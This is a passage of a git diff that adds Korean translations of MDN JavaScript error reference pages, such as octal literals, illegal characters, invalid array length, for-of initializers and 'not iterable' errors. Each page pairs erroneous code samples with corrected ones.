+<p>{{jsxref("SyntaxError")}} <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> 내에서만.</p>
+
+<h2 id="무엇이_잘_못_되었을까">무엇이 잘 못 되었을까?</h2>
+
+<p>8진 리터럴과 8진수 이스케이프 시퀀스는 더 이상 사용하지 않으며, 엄격 모드(strict mode) 내에서는 {{jsxref("SyntaxError")}} 에러를 던질 것입니다. ECMAScript 2015와 이 후의 버전의 표준화된 구문은 0을 맨 앞자리에 두고 그 뒤를 대문자 또는 소문자의 라틴 문자 "O" 를 사용하도록 합니다. (<code>0o</code> 또는 <code>0O)</code></p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="0이_접두인_8진_리터럴">"0"이 접두인 8진 리터럴</h3>
+
+<pre class="brush: js example-bad">"use strict";
+
+03;
+
+// SyntaxError: "0"-prefixed octal literals and octal escape sequences
+// are deprecated (0으로 시작하는 8진수와 8진 이스케이프 시퀀스는 더 이상 사용되지 않습니다. )
+</pre>
+
+<h3 id="8진수_이스케이프_시퀀스">8진수 이스케이프 시퀀스</h3>
+
+<pre class="brush: js example-bad">"use strict";
+
+"\251";
+
+// SyntaxError: "0"-prefixed octal literals and octal escape sequences
+// are deprecated (0으로 시작하는 8진수와 8진 이스케이프 시퀀스는 더 이상 사용되지 않습니다. )
+</pre>
+
+<h3 id="유효한_8진_수들">유효한 8진 수들</h3>
+
+<p>0뒤에 "o" 또는 "O"를 사용합니다. :</p>
+
+<pre class="brush: js example-good">0o3;
+</pre>
+
+<p>8진수 이스케이프 시퀀스 대신 16진수 이스케이프 시퀀스를 사용할 수도 있습니다. :</p>
+
+<pre class="brush: js example-good">'\xA9';</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Octal">Lexical grammar</a></li>
+ <li>
+  <p><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Bad_octal">Warning: 08/09 is not a legal ECMA-262 octal constant</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/identifier_after_number/index.html b/files/ko/web/javascript/reference/errors/identifier_after_number/index.html
new file mode 100644
index 0000000000..14e5b336c7
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/identifier_after_number/index.html
@@ -0,0 +1,57 @@
+---
+title: 'SyntaxError: identifier starts immediately after numeric literal'
+slug: Web/JavaScript/Reference/Errors/Identifier_after_number
+tags:
+  - 구문 에러
+  - 변수 이름
+  - 식별자
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Identifier_after_number
+---
+<div>{{JSSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: Unexpected identifier after numeric literal (Edge)
+SyntaxError: identifier starts immediately after numeric literal (Firefox)
+SyntaxError: Unexpected number (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>{{Glossary("식별자", "식별자")}}라고 불리는 변수의 이름은 반드시 지켜야 하는 특정 규칙을 따라야 합니다.</p>
+
+<p>자바스크립트의 식별자는 반드시 문자, 언더스코어(_), 또는 달러 표시($)로 시작돼야 합니다. 숫자로 시작될 수 없습니다. 글자 뒤에만 숫자(0-9)가 올 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="숫자로_시작하는_변수_이름">숫자로 시작하는 변수 이름</h3>
+
+<p>자바스크립트에서 변수 이름은 숫자로 시작될 수 없습니다. 아래 예제는 에러가 발생합니다:</p>
+
+<pre class="brush: js example-bad">var 1life = 'foo';
+// SyntaxError: identifier starts immediately after numeric literal
+
+var foo = 1life;
+// SyntaxError: identifier starts immediately after numeric literal
+
+alert(1.foo);
+// SyntaxError: identifier starts immediately after numeric literal
+</pre>
+
+<p>숫자가 뒤에 오도록 변수 이름을 변경해야 합니다.</p>
+
+<pre class="brush: js example-good">var life1 = 'foo';
+var foo = life1;
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Lexical_grammar">문법</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#%EB%B3%80%EC%88%98">변수</a>(<a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a>)</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/illegal_character/index.html b/files/ko/web/javascript/reference/errors/illegal_character/index.html
new file mode 100644
index 0000000000..b3cd3a9750
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/illegal_character/index.html
@@ -0,0 +1,81 @@
+---
+title: 'SyntaxError: illegal character'
+slug: Web/JavaScript/Reference/Errors/Illegal_character
+tags:
+  - ZWSP
+  - 구문 에러
+  - 자바스크립트
+  - 폭 없는 공백
+translation_of: Web/JavaScript/Reference/Errors/Illegal_character
+---
+<p>{{jsSidebar("Errors")}}</p>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: Invalid character (Edge)
+SyntaxError: illegal character (Firefox)
+SyntaxError: Invalid or unexpected token (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>코드에 해당 구문에 맞지 않거나 예기치 않은 토큰이 있습니다. 마이너스 기호(<code> - </code>)와 대시(<code> – </code>) 또는 따옴표(<code> " </code>)와 비표준 따옴표(<code> “ </code>) 등이 잘못 사용된 경우에 대해 문법 체크를 해주는 편집기를 사용하여 코드를 주의 깊게 확인해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="잘못_사용된_문자">잘못 사용된 문자</h3>
+
+<p>일부 문자들은 비슷하게 보이지만 파서가 코드 해석을 실패하게 만듭니다. 유명한 예로 따옴표, 마이너스 또는 세미콜론(<a href="https://en.wikipedia.org/wiki/Question_mark#Greek_question_mark">greek questionmark (U+37e)</a>과 동일하게 보입니다)이 있습니다.</p>
+
+<pre class="brush: js example-bad">“This looks like a string”;  // SyntaxError: illegal character
+                             // 비슷해 보이지만 “와 ”는 "이 아닙니다
+
+42 – 13;                     // SyntaxError: illegal character
+                             // 비슷해 보이지만 –은 -이 아닙니다
+
+var foo = 'bar';             // SyntaxError: illegal character
+                             // 비슷해 보이지만 &lt;37e&gt;은 ;이 아닙니다
+</pre>
+
+<p>아래 예제는 정상적으로 동작합니다:</p>
+
+<pre class="brush: js example-good">"This is actually a string";
+42 - 13;
+var foo = 'bar';
+</pre>
+
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">일부 편집기와 IDE는 문제가 있는 부분을 알려주거나 적어도 강조 표시를 해주지만 전부는 아닙니다. 이런 에러가 발생했을 때 무엇이 문제인지 찾을 수 없는 경우, 문제가 있는 줄을 지우고 다시 작성하는 것 가장 좋습니다.</span></span></span></span></p>
+
+<h3 id="문자_빠트리기">문자 빠트리기</h3>
+
+<p>앞이나 뒤에 오는 문자를 잊어버리기 쉽습니다.</p>
+
+<pre class="brush: js example-bad">var colors = ['#000', #333', '#666'];
+// SyntaxError: illegal character
+</pre>
+
+<p> <code><strong>'</strong>#333'</code>에 빠진 작은따옴표를 추가합니다.</p>
+
+<pre class="brush: js example-good">var colors = ['#000', '#333', '#666'];</pre>
+
+<h3 id="숨겨진_문자">숨겨진 문자</h3>
+
+<p>다른 곳에서 코드를 복사하여 붙여넣은 경우 잘못된 문자가 포함돼 있을 수 있습니다. 주의하세요!</p>
+
+<pre class="brush: js example-bad">var foo = 'bar';​
+// SyntaxError: illegal character
+</pre>
+
+<p>Vim과 같은 편집기에서 아래 코드를 체크하면 폭 없는 공백(<a href="https://en.wikipedia.org/wiki/Zero-width_space">zero-width space (ZWSP) (U+200B)</a>) 문자가 있는 것을 확인할 수 있습니다.</p>
+
+<pre class="brush: js">var foo = 'bar';​&lt;200b&gt;</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Lexical_grammar">문법</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/index.html b/files/ko/web/javascript/reference/errors/index.html
new file mode 100644
index 0000000000..79e24cc575
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/index.html
@@ -0,0 +1,12 @@
+---
+title: JavaScript error reference
+slug: Web/JavaScript/Reference/Errors
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Errors
+---
+<p>{{jsSidebar("Errors")}}</p>
+
+<p>오류, 사방에 오류.</p>
+
+<p>{{ListSubPages("/ko/docs/Web/JavaScript/Reference/Errors")}}</p>
diff --git a/files/ko/web/javascript/reference/errors/invalid_array_length/index.html b/files/ko/web/javascript/reference/errors/invalid_array_length/index.html
new file mode 100644
index 0000000000..6ddeb58f06
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/invalid_array_length/index.html
@@ -0,0 +1,73 @@
+---
+title: 'RangeError: invalid array length'
+slug: Web/JavaScript/Reference/Errors/Invalid_array_length
+translation_of: Web/JavaScript/Reference/Errors/Invalid_array_length
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">RangeError: invalid array length (Firefox)
+RangeError: Invalid array length (Chrome)
+RangeError: Invalid array buffer length (Chrome)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못_된_것일까">무엇이 잘못 된 것일까?</h2>
+
+<p>다음과 같은 원인 때문이다:</p>
+
+<ul>
+ <li>2<sup>32</sup>와 같거나 이보다 긴, 혹은 음수의 길이를 가진 {{jsxref("Array")}}나 {{jsxref("ArrayBuffer")}}를 생성했기 때문에, 혹은</li>
+ <li>{{jsxref("Array")}} 속성을 2<sup>32</sup>와 같거나 이보다 긴 값으로 설정했기 때문이다.</li>
+</ul>
+
+<p><code>Array와 ArrayBuffer의 길이에 제한을 둔 이유는, Array나 ArrayBuffer의 length 속성은 사인되지 않은(unsigned) 32 비트 정수로 반영되기 때문이다.</code> 즉 <code>Array나 ArrayBuffer는 오직 0 ~ </code>2<sup>32</sup>-1 사이의 값만을 저장할 수 있다.</p>
+
+<p>Array의 length로 해석되는 첫번째 argument로서 문자열 표기를 통해 contructor를 사용하여 Array를 생성할 수 있다.</p>
+
+<p>다른 방법으로는, length 속성을 설정하기 전에 length의 길이에 제한을 두거나, constructor의 aurgment로서 사용할 수 있다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="잘못된_예제">잘못된 예제</h3>
+
+<pre class="brush: js example-bad">new Array(Math.pow(2, 40))
+new Array(-1)
+new ArrayBuffer(Math.pow(2, 32))
+new ArrayBuffer(-1)
+
+let a = [];
+a.length = a.length - 1;         // set -1 to the length property
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = b.length + 1;         // set 2^32 to the length property
+</pre>
+
+<h3 id="올바른_예제">올바른 예제</h3>
+
+<pre class="brush: js example-good">[ Math.pow(2, 40) ]                     // [ 1099511627776 ]
+[ -1 ]                                  // [ -1 ]
+new ArrayBuffer(Math.pow(2, 32) - 1)
+new ArrayBuffer(0)
+
+let a = [];
+a.length = Math.max(0, a.length - 1);
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = Math.min(0xffffffff, b.length + 1);
+
+// 0xffffffff is the hexadecimal notation for 2^32 - 1
+// which can also be written as (-1 &gt;&gt;&gt; 0)
+</pre>
+
+<h2 id="sect1"> </h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.length")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html b/files/ko/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html
new file mode 100644
index 0000000000..7a7acf3ca2
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html
@@ -0,0 +1,50 @@
+---
+title: 'ReferenceError: invalid assignment left-hand side'
+slug: Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side
+translation_of: Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">ReferenceError: invalid assignment left-hand side
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("ReferenceError")}}.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>예상치 못한 할당이 일어났습니다. 이것은 할당 연산자(<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">assignment operator</a>)와 비교 연산자(<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">comparison operator</a>) 간의 불일치로 인한 것일 겁니다.  예를 들면, "<code>=</code>" 부호는 값을 변수에 할당합니다.  "<code>==</code>" 나  "<code>===</code>"는 값을 비교하는 연산을 합니다.</p>
+
+<h2 id="예">예</h2>
+
+<pre class="brush: js example-bad">if (Math.PI = 3 || Math.PI = 4) {
+  console.log('no way!');
+}
+// ReferenceError: invalid assignment left-hand side
+
+var str = 'Hello, '
++= 'is it me '
++= 'you\'re looking for?';
+// ReferenceError: invalid assignment left-hand side
+</pre>
+
+<p><code>if </code>구문에서, 비교 연산자 ("==")로 비교하려 할 때, 문자열의 연속적인 결합의 경우에는, 플러스("+") 연산자가 필요합니다.</p>
+
+<pre class="brush: js example-good">if (Math.PI == 3 || Math.PI == 4) {
+  console.log('no way!');
+}
+
+var str = 'Hello, '
++ 'from the '
++ 'other side!';
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Assignment operators</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Comparison operators</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/invalid_date/index.html b/files/ko/web/javascript/reference/errors/invalid_date/index.html
new file mode 100644
index 0000000000..32cf041e7e
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/invalid_date/index.html
@@ -0,0 +1,50 @@
+---
+title: 'RangeError: invalid date'
+slug: Web/JavaScript/Reference/Errors/Invalid_date
+translation_of: Web/JavaScript/Reference/Errors/Invalid_date
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">RangeError: invalid date (Firefox)
+RangeError: invalid time value (Chrome)
+RangeError: Provided date is not in valid range (Chrome)
+</pre>
+
+<h2 id="에러_종류">에러 종류</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못_된_걸까">무엇이 잘못 된 걸까?</h2>
+
+<p>유효하지 않은 String이 {{jsxref("Date")}} 나 {{jsxref("Date.parse()")}}에 입력되었습니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="올바르지_않은_사용_예시">올바르지 않은 사용 예시</h3>
+
+<p>인식 할 수 없는 string이나 잘못된 요소 값을 포함하는 ISO 형식의 날짜 string은 일반적으로 {{jsxref ( "NaN")}}을 반환합니다. 그러나 구현 방식에 따라 ISO 형식 string을 따르지 않는 경우 <code>RangeError: invalid date</code>가 표시 될 수 있습니다. Firefox의 경우:</p>
+
+<pre class="brush: js example-bad">new Date('foo-bar 2014');
+new Date('2014-25-23').toISOString();
+new Date('foo-bar 2014').toString();
+</pre>
+
+<p>그러나 이 경우, Firefox에서는 {{jsxref("NaN")}} 을 반환합니다:</p>
+
+<pre class="brush: js example-bad">Date.parse('foo-bar 2014'); // NaN</pre>
+
+<p>더 자세한 사항은  {{jsxref("Date.parse()")}} 문서를 참고하세요.</p>
+
+<h3 id="올바른_사용_예시">올바른 사용 예시</h3>
+
+<pre class="brush: js example-good">new Date('05 October 2011 14:48 UTC');</pre>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date")}}</li>
+ <li>{{jsxref("Date.prototype.parse()")}}</li>
+ <li>{{jsxref("Date.prototype.toISOString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/invalid_for-in_initializer/index.html b/files/ko/web/javascript/reference/errors/invalid_for-in_initializer/index.html
new file mode 100644
index 0000000000..7dd5e15a9a
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/invalid_for-in_initializer/index.html
@@ -0,0 +1,75 @@
+---
+title: 'SyntaxError: for-in loop head declarations may not have initializers'
+slug: Web/JavaScript/Reference/Errors/Invalid_for-in_initializer
+tags:
+  - for...in 구문
+  - 구문 에러
+  - 배열 반복
+  - 자바스크립트
+  - 초기화
+translation_of: Web/JavaScript/Reference/Errors/Invalid_for-in_initializer
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: for-in loop head declarations cannot have an initializer (Edge)
+SyntaxError: for-in loop head declarations may not have initializers (Firefox)
+SyntaxError: for-in loop variable declaration may not have an initializer. (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>엄격(Strict) 모드에서의 {{jsxref("SyntaxError")}}.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> 반복문의 선언부에 초기화 구문이 포함되어 있습니다. 즉, |<code>for (var i = 0 in obj)</code>| 구문을 통해 변수가 정의되고 값이 할당된 것을 말합니다. 비엄격 모드(non-strict) 모드에서는 이 초기화 구문이 무시되어 <code>|for (var i in obj)|</code> 처럼 동작합니다. 하지만 엄격 모드에서는 <code>SyntaxError</code> 가 발생합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제는 <code>SyntaxError</code>를 발생시킵니다.</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+var obj = {a: 1, b: 2, c: 3 };
+
+for (var i = 0 in obj) {
+  console.log(obj[i]);
+}
+
+// SyntaxError: for-in loop head declarations may not have initializers
+</pre>
+
+<h3 id="올바른_for-in_반복문">올바른 for-in 반복문</h3>
+
+<p>for-in 반복문의 선언부에서 초기화 구문(<code>i = 0</code>)을 삭제합니다.</p>
+
+<pre class="brush: js example-good">"use strict";
+
+var obj = {a: 1, b: 2, c: 3 };
+
+for (var i in obj) {
+  console.log(obj[i]);
+}
+</pre>
+
+<h3 id="배열_반복">배열 반복</h3>
+
+<p>for...in 반복문은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/for...in#Array_iteration_and_for...in">배열을 반복하는데에는 사용하지 않습니다</a>. 배열({{jsxref("Array")}})을 반복하기 위해 <code>for-in</code> 반복문 대신에 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> 반복문을 사용하려고 한 적이 있습니까? <code>for</code> 반복문은 선언부에서 초기화도 할 수 있습니다:</p>
+
+<pre class="brush: js example-good">var arr = [ "a", "b", "c" ]
+
+for (var i = 2; i &lt; arr.length; i++) {
+  console.log(arr[i]);
+}
+
+// "c"</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> – 엄격 모드와 비엄격 모드에서 모두 초기화를 허용하지 않습니다.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> – 배열 반복에 적합하고 초기화도 가능합니다.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/invalid_for-of_initializer/index.html b/files/ko/web/javascript/reference/errors/invalid_for-of_initializer/index.html
new file mode 100644
index 0000000000..0e60e242e8
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/invalid_for-of_initializer/index.html
@@ -0,0 +1,64 @@
+---
+title: >-
+  SyntaxError: a declaration in the head of a for-of loop can't have an
+  initializer
+slug: Web/JavaScript/Reference/Errors/Invalid_for-of_initializer
+tags:
+  - For문 초기화
+  - 구문 에러
+  - 반복문
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Invalid_for-of_initializer
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: for-of loop head declarations cannot have an initializer (Edge)
+SyntaxError: a declaration in the head of a for-of loop can't have an initializer (Firefox)
+SyntaxError: for-of loop variable declaration may not have an initializer. (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a> 반복문의 식이 초기화 구문을 포함한 것이 문제입니다. 즉, |<code>for (var i = 0 of iterable)</code>| 구문을 통해 변수가 정의되고 값이 할당된 것을 말합니다. 이 구문은 for-of 반복문에서 허용되지 않습니다. 이 경우 초기화를 할 수 있는 for 반복문이 필요합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="잘못된_for-of_반복문">잘못된 for-of 반복문</h3>
+
+<pre class="brush: js example-bad">let iterable = [10, 20, 30];
+
+for (let value = 50 of iterable) {
+  console.log(value);
+}
+
+// SyntaxError: a declaration in the head of a for-of loop can't
+// have an initializer</pre>
+
+<h3 id="올바른_for-of_반복문">올바른 <code>for-of</code> 반복문</h3>
+
+<p>for-of 반복문에서 초기화 구문(<code>value = 50</code>)을 삭제해야 합니다. 50을 더하고 싶다면 다음 예제와 같이 반복문 안에 추가할 수 있습니다.</p>
+
+<pre class="brush: js example-good">let iterable = [10, 20, 30];
+
+for (let value of iterable) {
+  value += 50;
+  console.log(value);
+}
+// 60
+// 70
+// 80
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> – 엄격(Strict) 모드에서는 마찬가지로 초기화를 허용하지 않습니다. (<a href="/en-US/docs/Web/JavaScript/Reference/Errors/Invalid_for-in_initializer">SyntaxError: for-in loop head declarations may not have initializers</a>)</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> – 초기화를 허용합니다.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/is_not_iterable/index.html b/files/ko/web/javascript/reference/errors/is_not_iterable/index.html
new file mode 100644
index 0000000000..8e00501d54
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/is_not_iterable/index.html
@@ -0,0 +1,106 @@
+---
+title: 'TypeError: ''x'' is not iterable'
+slug: Web/JavaScript/Reference/Errors/is_not_iterable
+tags:
+  - JavaScript
+  - 레퍼런스
+  - 에러
+  - 타입에러
+translation_of: Web/JavaScript/Reference/Errors/is_not_iterable
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">TypeError: 'x' is not iterable (Firefox, Chrome)
+TypeError: 'x' is not a function or its return value is not iterable (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="무엇이_문제인가요">무엇이 문제인가요?</h2>
+
+<p>{{jsxref("Promise.all")}} 또는 {{jsxref("TypedArray.from")}} 과 같은 함수의 아규먼트 또는 <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for…of</a> 의 right hand-side 로 주어진 값이 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">iterable 객체</a>가 아닙니다. iterable 은 {{jsxref("Array")}}, {{jsxref("String")}} 또는 {{jsxref("Map")}}, 생성자 결과, 또는 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">iterable protocol</a> 구현 객체와 같은 내장 iterable 타입이 될 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="모든_객체_프로퍼티_iterating">모든 객체 프로퍼티 iterating</h3>
+
+<p>JavaScript 에서 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">iterable protocol</a> 을 구현하지 않은 {{jsxref("Object")}} 는 iterable 이 아닙니다.<br>
+ 그러므로, 객체의 프로퍼티를 반복하기 위해 <a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for…of</a> 를 사용하면 안됩니다.</p>
+
+<pre class="brush: js example-bad">var obj = { 'France': 'Paris', 'England': 'London' };
+for (let p of obj) { // TypeError: obj is not iterable
+    // …
+}
+</pre>
+
+<p>객체의 모든 항목 또는 프로퍼티를 반복하려면 대신 {{jsxref("Object.keys")}} 또는 {{jsxref("Object.entries")}} 를 사용해야 합니다.</p>
+
+<pre class="brush: js example-good">var obj = { 'France': 'Paris', 'England': 'London' };
+// 모든 프로퍼티 이름을 iterate:
+for (let country of Object.keys(obj)) {
+    var capital = obj[country];
+    console.log(country, capital);
+}
+
+for (const [country, capital] of Object.entries(obj))
+    console.log(country, capital);
+
+
+</pre>
+
+<p>이 유즈 케이스에 대한 다른 옵션은 {{jsxref("Map")}} 을 사용하는 것입니다.</p>
+
+<pre class="brush: js example-good">var map = new Map;
+map.set('France', 'Paris');
+map.set('England', 'London');
+// 모든 프로퍼티 이름 iterate
+for (let country of map.keys()) {
+    let capital = map[country];
+    console.log(country, capital);
+}
+
+for (let capital of map.values())
+    console.log(capital);
+
+for (const [country, capital] of map.entries())
+    console.log(country, capital);
+</pre>
+
+<h3 id="Generator_iterating">Generator iterating</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">Generators</a> 는 iterable 객체를 생성하기 위해 호출하는 함수입니다.</p>
+
+<pre class="brush: js example-bad">function* generate(a, b) {
+  yield a;
+  yield b;
+}
+
+for (let x of generate) // TypeError: generate is not iterable
+    console.log(x);
+</pre>
+
+<p>generator 가 호출되지 않으면, generator 에 해당하는 {{jsxref("Function")}} 객체를 호출할수는 있지만 interable 하지는 않습니다. generator 호출은 generator 실행동안 yield 된 모든 값을 iterate 하는 iterable 객체를 생성합니다.</p>
+
+<pre class="brush: js example-good">function* generate(a, b) {
+    yield a;
+    yield b;
+}
+
+for (let x of generate(1,2))
+    console.log(x);
+</pre>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">iterable protocol</a></li>
+ <li>{{jsxref("Object.keys")}}</li>
+ <li>{{jsxref("Object.entries")}}</li>
+ <li>{{jsxref("Map")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">generators</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for…of</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/json_bad_parse/index.html b/files/ko/web/javascript/reference/errors/json_bad_parse/index.html
new file mode 100644
index 0000000000..c73b082dbb
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/json_bad_parse/index.html
@@ -0,0 +1,105 @@
+---
+title: 'SyntaxError: JSON.parse: bad parsing'
+slug: Web/JavaScript/Reference/Errors/JSON_bad_parse
+translation_of: Web/JavaScript/Reference/Errors/JSON_bad_parse
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: JSON.parse: unterminated string literal
+SyntaxError: JSON.parse: bad control character in string literal
+SyntaxError: JSON.parse: bad character in string literal
+SyntaxError: JSON.parse: bad Unicode escape
+SyntaxError: JSON.parse: bad escape character
+SyntaxError: JSON.parse: unterminated string
+SyntaxError: JSON.parse: no number after minus sign
+SyntaxError: JSON.parse: unexpected non-digit
+SyntaxError: JSON.parse: missing digits after decimal point
+SyntaxError: JSON.parse: unterminated fractional number
+SyntaxError: JSON.parse: missing digits after exponent indicator
+SyntaxError: JSON.parse: missing digits after exponent sign
+SyntaxError: JSON.parse: exponent part is missing a number
+SyntaxError: JSON.parse: unexpected end of data
+SyntaxError: JSON.parse: unexpected keyword
+SyntaxError: JSON.parse: unexpected character
+SyntaxError: JSON.parse: end of data while reading object contents
+SyntaxError: JSON.parse: expected property name or '}'
+SyntaxError: JSON.parse: end of data when ',' or ']' was expected
+SyntaxError: JSON.parse: expected ',' or ']' after array element
+SyntaxError: JSON.parse: end of data when property name was expected
+SyntaxError: JSON.parse: expected double-quoted property name
+SyntaxError: JSON.parse: end of data after property name when ':' was expected
+SyntaxError: JSON.parse: expected ':' after property name in object
+SyntaxError: JSON.parse: end of data after property value in object
+SyntaxError: JSON.parse: expected ',' or '}' after property value in object
+SyntaxError: JSON.parse: expected ',' or '}' after property-value pair in object literal
+SyntaxError: JSON.parse: property names must be double-quoted strings
+SyntaxError: JSON.parse: expected property name or '}'
+SyntaxError: JSON.parse: unexpected character
+SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="뭐가_잘못됬나요">뭐가 잘못됬나요?</h2>
+
